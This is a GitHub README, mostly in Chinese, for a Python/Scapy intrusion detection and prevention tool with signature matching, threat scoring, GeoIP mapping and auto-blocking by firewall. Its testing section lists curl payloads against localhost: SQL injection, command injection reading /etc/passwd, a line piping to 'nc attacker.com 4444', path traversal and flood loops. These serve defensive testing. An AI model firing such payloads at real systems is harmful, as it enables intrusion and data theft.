gauravsingh0098/NIPDS-pro-Application
GitHub: gauravsingh0098/NIPDS-pro-Application
基于 Python 和 Scapy 构建的桌面级实时入侵检测与防御系统,集成了特征匹配、威胁评分、地理情报可视化、自动 IP 封禁和 SIEM 日志输出等能力,适合单机环境下的网络安全监控与研究。
Stars: 0 | Forks: 0
# 🛡️ IPDS Pro — 入侵防御与检测系统
[](https://python.org)
[](#)
[](#)
[](#)
## 📖 目录
1. [项目介绍](#-project-introduction)
2. [功能特性](#-features)
3. [安装指南](#-installation-guide)
4. [GeoLite2 设置](#-geolite2-setup)
5. [运行工具](#-running-the-tool)
6. [仪表盘概览](#-dashboard-overview)
7. [地理威胁地图](#-geo-threat-map)
8. [数据库系统](#-database-system)
9. [JSON & EVE 日志](#-json--eve-logging)
10. [文件结构](#-file-structure)
11. [测试工具](#-testing-the-tool)
12. [故障排除](#-troubleshooting)
13. [系统架构](#-architecture)
14. [安全说明](#-security-notes)
15. [未来改进](#-future-improvements)
## 🔍 项目介绍
**IPDS Pro** 是一个专业级的、基于桌面的**入侵防御与检测系统**,使用 Python 构建。它能捕获您机器上的实时网络数据包,实时根据攻击特征库检查每个数据包,并触发即时警报——同时可选择**在防火墙层面阻断攻击者 IP**。
### IPDS Pro 的功能
**实时数据包检测**
流经您网络接口的每一个数据包都会被 Scapy 拦截并传递给检测引擎。数据包的头部、负载、端口和标志位都会在几毫秒内得到分析。
**IDS 模式(检测)**
在 IDS 模式下,IPDS 会静默地监控流量并记录每一个可疑的匹配项。警报会与完整的数据包详情、特征匹配、严重级别和来源归因一起显示在实时仪表盘中。
**IPS 模式(防御)**
启用 IPS 自动阻断后,任何 `HIGH`(高)严重级别的警报都会立即触发一条防火墙规则——在 Linux 上使用 `iptables`,或在 Windows 上通过 `netsh` 使用 Windows Firewall——丢弃来自该攻击者 IP 的所有后续流量。
**威胁情报系统**
每个 IP 地址都会使用多因素威胁评分引擎进行实时画像。评分会根据攻击频率、类型严重性和类别多样性进行累积。如果 IP 停止攻击,评分会随时间衰减。当 IP 越过阈值时,其状态会升级:`CLEAN → SUSPICIOUS → MALICIOUS → BLOCKED`。
**地理情报层**
每个源 IP 都会与 MaxMind GeoLite2 数据库进行比对,以确定国家、城市、ISP、ASN 和坐标。云提供商(AWS、Azure、GCP 等)、TOR 出口节点和 VPN 状态会被自动检测。所有数据都会可视化在实时的全球威胁地图上。
**实时监控仪表盘**
一个功能齐全的桌面 GUI——使用 PyQt6 和嵌入式 WebEngine 浏览器构建——提供对所有流量、警报、被阻断的 IP、威胁评分和地理数据的实时可见性,无需任何外部浏览器。
## ✨ 功能特性
### 核心检测引擎
| 功能 | 详情 |
|---|---|
| **实时数据包捕获** | 在任何接口上基于 Scapy 的嗅探器;BPF 内核级预过滤以提高效率 |
| **20 条内置特征** | SQLi、XSS、CMDi、目录遍历、DoS、暴力破解 |
| **多条件特征** | 上下文感知规则可减少误报(负载长度限制,端口特定性) |
| **HTTP 协议感知** | 完整的 HTTP 方法 / 路径 / 头部 / 主体解析,用于精确的第 7 层检测 |
| **基于阈值的规则** | 对洪泛、ICMP 风暴、UDP 放大、SSH/FTP 暴力破解进行限速检测 |
| **特征库** | 涵盖 6 个类别的 20 条特征,全部可通过 Python 字典进行配置 |
### 威胁响应
| 功能 | 详情 |
|---|---|
| **自动 IP 阻断** | 在 IPS 模式下,`HIGH` 严重级别警报会触发即时防火墙规则 |
| **基于打击的阻断** | 随着威胁评分升高,警告 → 临时阻断(5 分钟) → 永久阻断 |
| **iptables 支持** | Linux:`iptables -A INPUT -s -j DROP` |
| **Windows Firewall 支持** | Windows:`netsh advfirewall firewall add rule` |
| **一键手动阻断** | 从“实时流量”或“警报”选项卡阻断任何 IP |
| **即时解封** | 随时从“被阻断 IP”选项卡移除防火墙规则 |
### 威胁评分与关联
| 功能 | 详情 |
|---|---|
| **单 IP 威胁评分** | 每个 IP 的加权 0–100 分,实时更新 |
| **评分衰减** | 对于安静的 IP,评分会随时间衰减 |
| **攻击关联** | 多向量攻击(例如,来自同一 IP 的 SQLi + CMDi)→ `CRITICAL` 警报 |
| **行为跟踪** | 每个 IP 的时间窗口数据包和攻击计数器 |
| **MetricsTracker** | 系统级的数据包/秒、警报/秒、顶级攻击者排行榜 |
### 地理情报
| 功能 | 详情 |
|---|---|
| **GeoIP 查询** | MaxMind GeoLite2-City:国家、地区、城市、坐标 |
| **ASN / ISP 查询** | MaxMind GeoLite2-ASN:自治系统号和组织名称 |
| **TOR 检测** | 从 torproject.org 每日刷新的 TOR 出口节点列表 |
| **VPN 检测** | 通过 ASN 关键词分析进行启发式检测 |
| **云提供商检测** | AWS、Azure、GCP、DigitalOcean、Cloudflare、Linode、Vultr、OVH — 通过 CIDR 匹配 |
| **国家风险评分** | 引擎内置的可配置国家级风险图(0–100) |
| **LRU 缓存** | 零重复 GeoIP 查询 — 每个 IP 首次解析后复杂度为 O(1) |
| **实时威胁地图** | 带有攻击流、起源标记和威胁颜色的实时世界地图 |
### 日志记录与可观测性
| 功能 | 详情 |
|---|---|
| **SQLite 数据库** | 所有数据包、警报、被阻断的 IP、地理事件和 IP 统计信息均在本地持久化存储 |
| **轮转文本日志** | `logs/ipds.log` — 人类可读,5 MB × 5 个备份 |
| **结构化 JSON 日志** | `logs/ipds_structured.jsonl` — 机器可读,`WARNING` 及以上级别事件 |
| **Suricata EVE 日志** | `logs/ipds_eve.jsonl` — 完全兼容 Suricata EVE,可直接用于 SIEM |
| **SIEM 集成** | 支持 ELK Stack、Splunk、Graylog 及任何可摄取 JSONL 的 SIEM |
## 🚀 安装指南
### 步骤 1 — Python 3.10+
验证您的 Python 版本:
```
python3 --version
```
如果缺失,请安装:
```
# Linux (Debian/Ubuntu)
sudo apt install python3 python3-pip
# Windows — 从以下地址下载:
# https://python.org/downloads
# ✅ 在安装期间勾选 "Add Python to PATH"
```
### 步骤 2 — Npcap(仅限 Windows)
Scapy 在 Windows 上需要 **Npcap** 来进行原始数据包捕获。WinPcap **无法**使用。
1. 从此处下载:**https://npcap.com/#download**
2. 安装时勾选 **"WinPcap API-compatible Mode"**
3. 如果提示,请重启计算机
### 步骤 3 — Python 依赖项
```
cd ipds_tool
pip install -r requirements.txt
```
在某些由操作系统管理 pip 的 Linux 系统上:
```
pip install -r requirements.txt --break-system-packages
```
**主要依赖项包括:**
| 包 | 用途 |
|---|---|
| `scapy` | 数据包捕获与解析 |
| `PyQt6` | 桌面 GUI 框架 |
| `PyQt6-WebEngine` | 用于 HTML 仪表盘的嵌入式浏览器 |
| `geoip2` | MaxMind GeoLite2 数据库读取器 |
| `requests` | TOR 出口节点列表下载 |
| `psutil` | 系统资源监控 |
### 步骤 4 — 查找您的网络接口
运行辅助脚本以识别正确的接口名称:
```
# Windows
python find_interface.py
# Linux
ip a
# 或
ifconfig
```
常见接口名称:
| 操作系统 | 有线 | 无线 |
|---|---|---|
| Linux | `eth0` | `wlan0` |
| Windows | `Ethernet` | `Wi-Fi` 或 NPF GUID |
| macOS | `en0` | `en1` |
## 🌍 GeoLite2 设置
地理情报需要两个免费的 MaxMind GeoLite2 数据库。请严格按照以下步骤操作。
### 步骤 1 — 创建 MaxMind 账户
1. 访问 **https://www.maxmind.com/en/geolite2/signup**
2. 填写注册表单并验证您的电子邮件
3. 登录您的 MaxMind 账户
### 步骤 2 — 生成许可证密钥
1. 在您的账户仪表盘中,转到 **Services → My License Key**
2. 点击 **Generate new license key**
3. 为其命名(例如 `IPDS-Tool`)
4. 复制密钥 — **您只能看到它一次**
### 步骤 3 — 下载数据库
从您的 MaxMind 仪表盘的 **Download Files** 处:
| 数据库 | 文件名 | 用途 |
|---|---|---|
| GeoLite2 City | `GeoLite2-City.mmdb` | 国家、地区、城市、坐标 |
| GeoLite2 ASN | `GeoLite2-ASN.mmdb` | ISP 名称、ASN 编号 |
下载两者的 **MaxMind DB binary** 格式(`.mmdb`)。
### 步骤 4 — 放置数据库文件
在您的项目目录中创建一个 `geoip/` 文件夹,并将这两个 `.mmdb` 文件放入其中:
```
ipds_tool/
└── geoip/
├── GeoLite2-City.mmdb
└── GeoLite2-ASN.mmdb
```
### 步骤 5 — 验证设置
当您启动 IPDS Pro 时,地理情报选项卡将填充国家数据、云标识、TOR 标志和威胁地图。如果该选项卡为空,请参阅[故障排除](#-troubleshooting)。
## ▶️ 运行工具
### Windows — 以管理员身份运行
```
python main.py
```
### Linux / macOS — 以 Root 身份运行
```
sudo python3 main.py
```
## 🖥️ 仪表盘概览
IPDS Pro 会启动一个带有嵌入式浏览器仪表盘的完整桌面 GUI。所有选项卡均实时更新。
### 概览选项卡
一目了然的系统健康状况。显示捕获的总数据包数、触发的警报、当前被阻断的 IP、数据包/秒以及顶级攻击 IP。系统资源使用情况(CPU、RAM、GPU(如果可用))也会通过 psutil/pynvml 显示。
### 实时流量选项卡
流经您接口的每一个数据包都会在此处显示为一行表格:
| 列 | 描述 |
|---|---|
| Time | 捕获时间戳 |
| Src IP | 源 IP 地址 |
| Dst IP | 目标 IP 地址 |
| Protocol | TCP / UDP / ICMP |
| Port | 目标端口 |
| Signature | 匹配的规则名称(如果有) |
| Severity | HIGH / MEDIUM / LOW / INFO |
- **白色行** — 正常流量
- **红色/橙色行** — 匹配到特征
- 点击任意行以查看完整的数据包详情及右侧面板中的 **⛔ 阻断此 IP** 按钮
### 警报选项卡
每个特征匹配都会被记录在此处,包含:
- SID、消息、类别、严重性
- 源 IP、目标 IP、时间戳
- 数据包负载摘录
- 警报触发时的威胁评分
- 关联标签(如果检测到多向量攻击)
### 地理威胁地图选项卡
显示实时攻击来源的交互式世界地图。有关完整详情,请参阅[地理威胁地图](#-geo-threat-map)部分。
### 被阻断 IP 选项卡
所有当前被阻断的 IP 及其:
- IP 地址、阻断原因、时间戳
- 阻断类型(手动 / 自动 / 临时 / 永久)
- **解除阻断** 按钮,可立即移除防火墙规则
### 特征选项卡
所有 20 条内置检测规则显示在一个可搜索的表格中:
- SID、模式、类别、严重性
- 检测方法(内容匹配 / 阈值 / 协议)
### 日志选项卡
所有 IPDS 事件的实时滚动日志。实时镜像 `logs/ipds.log`。
### 威胁评分选项卡
实时单 IP 威胁评分排行榜。显示当前评分、状态(`CLEAN` / `SUSPICIOUS` / `MALICIOUS` / `ED`)、数据包计数、攻击计数和最后出现时间。
### 关联选项卡
列出多向量关联事件——即单个 IP 在短时间窗口内触发多个攻击类别,从而升级为 `CRITICAL` 警报的情况。
## 🗺️ 地理威胁地图
地理威胁地图是渲染在嵌入式仪表盘浏览器内的实时交互式世界地图。
### 您会看到什么
**攻击源标记**
每个触发警报的源 IP 都会根据其解析出的地理坐标绘制在地图上。标记按威胁状态进行颜色编码:
| 颜色 | 状态 |
|---|---|
| 🔴 红色 | MALICIOUS / BLOCKED |
| 🟠 橙色 | SUSPICIOUS |
| 🟡 黄色 | CLEAN (但已被观测) |
| 🟣 紫色 | TOR 出口节点 |
| ☁️ 蓝色 | 云提供商(AWS、Azure、GCP 等) |
**连接流线**
动画弧线将攻击者的源坐标连接到您机器的位置,实时可视化攻击方向。线条的粗细和颜色反映了威胁的严重程度。
**国家到国家的攻击线**
聚合视图,显示哪些国家正在向您的网络发起最多的攻击流量。
**实时 IP 绘制**
新的攻击者 IP 会在其首次警报发出后的几秒钟内出现在地图上,数据从 `geo_ip_stats` 表中拉取。
**云 / TOR / VPN 标记**
特殊标识会指示攻击者何时正在通过云基础设施、TOR 网络或 VPN 进行路由——帮助您评估攻击的复杂程度和匿名意图。
**热力图层**
密集攻击区域会发出更亮的光芒,提供世界哪些区域最活跃的直观视图。
## 🗄️ 数据库系统
所有数据都持久化存储在位于 `logs/ipds.db` 的 **SQLite** 数据库中。SQLite WAL 模式已启用,以提供并发的读/写性能。
### 数据库文件
| 文件 | 用途 |
|---|---|
| `logs/ipds.db` | 主 SQLite 数据库 |
| `logs/ipds.db-wal` | Write-Ahead Log (WAL) — 写入期间激活 |
| `logs/ipds.db-shm` | WAL 模式的共享内存索引 |
### 数据表
| 表 | 描述 |
|---|---|
| `packets` | 捕获的每一个数据包(时间戳、IP、协议、端口、负载、匹配的 SID) |
| `alerts` | 每一个特征匹配,包含 `threat_score` 和 `correlation` 列 |
| `blocked_ips` | 所有被阻断的 IP 及其原因、时间戳和阻断类型 |
| `geo_events` | 每次警报的地理事件日志(坐标、国家、ASN、威胁类型) |
| `geo_ip_stats` | 实时的单 IP 归属记录(每个唯一 IP 一行,每 5 秒更新插入) |
### 迁移添加的关键列
`db_migration.sql` 文件会安全地修补现有表并创建新表(所有语句均使用 `IF NOT EXISTS` / `ALTER TABLE` 保护 — 可安全重新运行):
- **`alerts.threat_score`** — 整数 0–100,警报触发时该 IP 的威胁评分
- **`alerts.correlation`** — 文本标签,指示此警报是否属于多向量关联事件的一部分
### 手动运行迁移
迁移会在应用程序启动时自动运行。要手动运行:
```
sqlite3 logs/ipds.db < db_migration.sql
```
## 📋 JSON & EVE 日志记录
IPDS Pro 同时产生三种日志输出。
### 人类可读日志 — `logs/ipds.log`
标准轮转文本日志。所有 `INFO` 及以上级别事件。每个文件 5 MB,5 个备份文件。
```
2025-01-15 14:23:01 [INFO] Capture started on interface: eth0
2025-01-15 14:23:05 [WARNING] ALERT: SID=3000003 | TEST SQLi - UNION | src=192.168.1.45 | sev=HIGH
2025-01-15 14:23:05 [WARNING] IP BLOCKED: 192.168.1.45 (AUTO-IPS)
```
### 结构化 JSON 日志 — `logs/ipds_structured.jsonl`
机器可读的 JSON Lines,每行一个对象。仅限 `WARNING` 及以上级别事件。每个文件 10 MB,3 个备份。
```
{"ts": "2025-01-15T14:23:05.123Z", "level": "WARNING", "msg": "ALERT: SID=3000003 ..."}
```
### Suricata EVE 日志 — `logs/ipds_eve.jsonl`
完全兼容 Suricata EVE 的 JSON Lines 格式。这是用于 SIEM 集成的主要日志。
**事件类型:**
| `event_type` | 触发条件 |
|---|---|
| `traffic` | 捕获的每一个数据包(采样) |
| `alert` | 每一个特征匹配 |
| `block` | 每一个 IP 阻断动作 |
**示例 `alert` EVE 记录:**
```
{
"timestamp": "2025-01-15T14:23:05.123456Z",
"event_type": "alert",
"flow_id": 8472938471234567,
"src_ip": "192.168.1.45",
"src_port": 54231,
"dst_ip": "10.0.0.1",
"dst_port": 80,
"proto": "TCP",
"alert": {
"action": "blocked",
"gid": 1,
"signature_id": 3000003,
"rev": 1,
"signature": "TEST SQLi - UNION",
"category": "SQLi",
"severity": 2,
"threat_score": 78.5,
"correlation": "MULTI-VECTOR:SQLi+CMDi"
},
"http": {
"method": "GET",
"url": "/?q=UNION+SELECT+password+FROM+users",
"hostname": "localhost",
"http_user_agent": "curl/8.0"
}
}
```
### SIEM 集成
EVE JSONL 格式可直接被以下工具摄取:
- **Elastic Stack (ELK)** — 使用带有 Suricata 模块的 Filebeat;将其指向 `logs/ipds_eve.jsonl`
- **Splunk** — 使用 Universal Forwarder 或 Splunk for Suricata 应用
- **Graylog** — 带有 JSON 提取器的 GELF/Syslog 输入
- **任何 SIEM** — 任何支持 JSONL 文件尾部读取或 Suricata EVE 格式的系统
## 📁 文件结构
```
ipds_tool/
│
├── main.py ← Original IPDS application (legacy / reference)
├── app.py ← IPDS Pro — upgraded main application (use this)
├── geo_intelligence.py ← Geo Intelligence & IP Attribution Engine
├── find_interface.py ← Helper: lists all network interfaces with IPs
├── db_migration.sql ← Database schema migration (auto-run on startup)
├── dashboard.html ← HTML/JS dashboard (loaded by embedded WebEngine)
│
├── geoip/ ← MaxMind GeoLite2 databases (you provide these)
│ ├── GeoLite2-City.mmdb
│ └── GeoLite2-ASN.mmdb
│
├── logs/ ← All runtime output (auto-created on first run)
│ ├── ipds.log ← Human-readable rotating text log
│ ├── ipds_structured.jsonl ← JSON structured log (WARNING+ events)
│ ├── ipds_eve.jsonl ← Suricata EVE-compatible JSONL (SIEM-ready)
│ ├── ipds.db ← SQLite database (all data)
│ ├── ipds.db-wal ← SQLite WAL file (active during writes)
│ └── ipds.db-shm ← SQLite shared memory index
│
├── requirements.txt ← Python dependencies
└── README.md ← This file
```
## 🧪 测试工具
在**第二个终端**中使用这些命令生成您的工具将检测到的流量。无需真实的攻击基础设施。
### SQL 注入
```
curl "http://localhost/?id=1' OR '1'='1"
curl "http://localhost/?q=UNION SELECT password FROM users"
curl "http://localhost/?q=SELECT * FROM accounts"
curl "http://localhost/?action=DROP TABLE users"
```
### 跨站脚本攻击 (XSS)
```
curl "http://localhost/?q="
curl "http://localhost/?url=javascript:void(0)"
curl "http://localhost/?input="
```
### 命令注入
```
curl "http://localhost/?cmd=ls&&cat /etc/passwd"
curl "http://localhost/?input=test\`whoami\`"
curl "http://localhost/?exec=ping | nc attacker.com 4444"
```
### 目录遍历
```
curl "http://localhost/../../etc/passwd"
curl "http://localhost/../../../windows/system32/cmd.exe"
```
### SSH 暴力破解(向端口 22 生成多个 SYN 数据包)
```
for i in {1..10}; do nc -z localhost 22; sleep 0.1; done
```
### HTTP 洪泛(DoS 模拟)
```
for i in {1..50}; do curl -s http://localhost/ > /dev/null; done
```
## 🔧 故障排除
### 地理仪表盘为空
**原因**:GeoLite2 `.mmdb` 文件缺失或位于错误的位置。
**解决方法**:
1. 确认 `geoip/GeoLite2-City.mmdb` 和 `geoip/GeoLite2-ASN.mmdb` 存在
2. 检查是否已安装 `geoip2`:`pip install geoip2`
3. 在 `logs/ipds.log` 中查找包含 `geoip` 或 `GeoEngine` 的行
### "Missing GeoLite2 Database" 错误
```
geoip2.errors.DatabaseError: ...
```
使用新的许可证密钥从 MaxMind 重新下载。免费账户需要每 30 天重新下载一次。
### 仪表盘中出现 JavaScript 错误
**原因**:HTML 仪表盘加载失败或 WebEngine 桥接已断开。
**解决方法**:
1. 确保已安装 `PyQt6-WebEngine`:`pip install PyQt6-WebEngine`
2. 检查 `dashboard.html` 是否与 `app.py` 在同一目录中
3. 从 `ipds_tool/` 目录运行,而不是其子目录
### 实时流量中未显示数据包
1. 确认您在顶部栏的下拉菜单中选择了正确的接口
2. 验证您是否以 root(Linux)或管理员身份运行
3. 自行生成流量:`ping google.com`
4. 在 Windows 上 — 确认安装了 Npcap(而不是 WinPcap)
### 权限被拒绝 (Linux)
```
sudo python3 app.py
```
或者授予功能权限而无需完整的 root 权限:
```
sudo setcap cap_net_raw=eip $(which python3)
python3 app.py
```
### IP 阻断不生效 (Linux)
```
sudo apt install iptables
sudo python3 app.py
```
验证规则是否已被添加:
```
sudo iptables -L INPUT -n | grep DROP
```
### IP 阻断不生效 (Windows)
1. 以管理员身份打开命令提示符
2. 验证规则是否已被添加:
netsh advfirewall firewall show rule name=all | findstr IPDS
### 二进制 / 乱码日志输出
当 Python 使用系统默认编码(Windows 上为 cp1252)而不是 UTF-8 时,就会发生这种情况。IPDS Pro 在所有文件处理程序上显式设置了 `encoding="utf-8"`。如果您在旧日志文件中看到乱码,那是在此修复之前写入的——新日志将会是正确的。
### 未安装 Scapy
```
pip install scapy
# 或在 Linux 上:
sudo pip3 install scapy
```
## 🏗️ 系统架构
```
┌─────────────────────────────────────────────────────────────────────────┐
│ IPDS Pro — Data Pipeline │
└─────────────────────────────────────────────────────────────────────────┘
Network Interface (eth0 / wlan0 / NPF GUID)
│
│ raw frames
▼
┌───────────────────┐
│ Scapy Sniffer │ ← BPF kernel-level pre-filter
│ (CaptureWorker) │ rate limiter per suspicious IP
└────────┬──────────┘
│ IP/TCP/UDP/ICMP packets
▼
┌───────────────────┐
│ HTTP Parser │ ← method, path, headers, body extraction
└────────┬──────────┘
│ enriched packet dict
▼
┌───────────────────┐
│ Detection Engine │ ← 20 signatures (content + threshold + protocol)
│ │ multi-condition, context-aware matching
└────────┬──────────┘
│ alert objects + threat scores
├─────────────────────────────────────────────────────┐
▼ ▼
┌───────────────────┐ ┌──────────────────┐
│ Threat Scoring & │ ← per-IP score 0–100 │ EVE Logger │
│ Correlation Engine│ decay, strike tracking │ (ipds_eve.jsonl) │
└────────┬──────────┘ multi-vector CRITICAL └──────────────────┘
│
├──────────────────────────────┐
▼ ▼
┌───────────────────┐ ┌──────────────────────┐
│ Geo Intelligence │ │ Response Engine │
│ (GeoEngine + │ │ (ResponseEngine) │
│ IPTracker) │ │ │
│ │ │ warn → temp block │
│ • GeoLite2 City │ │ → permanent block │
│ • GeoLite2 ASN │ └──────────┬───────────┘
│ • TOR detection │ │
│ • Cloud / VPN │ ▼
│ • Country risk │ ┌──────────────────────┐
└────────┬──────────┘ │ Firewall Layer │
│ │ │
│ │ Linux: iptables │
▼ │ Windows: netsh │
┌───────────────────┐ └──────────────────────┘
│ SQLite Database │
│ (logs/ipds.db) │
│ │
│ • packets │
│ • alerts │
│ • blocked_ips │
│ • geo_events │
│ • geo_ip_stats │
└────────┬──────────┘
│
▼
┌───────────────────────────────────────────────────┐
│ Live Dashboard (PyQt6 + WebEngine) │
│ │
│ Overview │ Live Traffic │ Alerts │ Geo Map │
│ Blocked IPs │ Signatures │ Logs │ Threat Scores │
│ Correlations │
└───────────────────────────────────────────────────┘
```
## 🔐 安全说明
- 仅在**您拥有或获得明确书面授权进行监控**的网络和系统上部署和运行 IPDS Pro
- 在未经授权的情况下在网络上运行数据包嗅探器可能会违反您所在司法管辖区的计算机犯罪法(例如美国的 CFAA,英国的 Computer Misuse Act)
- 通过 iptables/netsh 进行 IP 阻断会更改您系统的防火墙——请定期检查被阻断的 IP
- GeoLite2 数据库包含地理定位数据;请按照 MaxMind 的服务条款处理它们
- 必须以 `root` 或管理员身份运行才能进行原始数据包捕获——请勿将应用程序暴露给不受信任的输入
- 本工具专为教育目的、实验室环境、授权的渗透测试和网络安全研究而设计
## 🔮 未来改进
| 功能 | 描述 |
|---|---|
| **AI/ML 威胁检测** | 在基线流量上训练的异常检测模型,用于捕获特征规则遗漏的零日模式 |
| **远程传感器网络** | 轻量级传感器代理,将数据包转发到中央 IPDS Pro 实例,用于多站点监控 |
| **PCAP 导出** | 将捕获的会话导出为 `.pcap` 文件,以便在 Wireshark 中重放或进行离线取证 |
| **威胁源集成** | 从 AbuseIPDB、AlienVault OTX 或 Shodan 拉取实时威胁情报以丰富警报 |
| **SOC 集成** | 用于 TheHive、PagerDuty、Slack 或 Microsoft Teams 告警的原生 webhook/API 输出 |
| **Active Directory 关联** | 将源 IP 映射到 AD 用户账户以进行内部威胁检测 |
| **仪表盘深色/浅色主题** | 具有持久化偏好的用户可选 UI 主题 |
| **PCAP 重放模式** | 加载现有 `.pcap` 文件并离线通过检测引擎运行 |
| **REST API** | 通过本地 REST API 暴露警报、被阻断的 IP 和指标,用于外部工具集成 |
| **电子邮件 / 短信警报** | 针对 `HIGH` 和 `CRITICAL` 严重级别事件的实时通知发送 |
## 📄 许可证
本项目为**教育和研究目的**而创建。请仅在您被授权监控的网络和系统上使用。
*基于 Python、Scapy、PyQt6、MaxMind GeoLite2 和 SQLite 构建。*
标签:EVE日志, HTTP/HTTPS抓包, IPDS, IPS, IP 地址批量处理, IP封锁, JSON日志, Python, Scapy, 入侵检测系统, 入侵防御系统, 可视化大屏, 后端开发, 威胁地图, 威胁情报, 威胁检测与响应, 威胁猎捕, 安全告警, 安全数据湖, 实时网络监控, 开发者工具, 态势感知, 恶意IP拦截, 攻击特征匹配, 教育项目, 无后门, 桌面应用, 深度包检测, 网络安全, 网络安全分析, 网络安全监控, 逆向工具, 防御绕过, 防火墙, 隐私保护, 驱动开发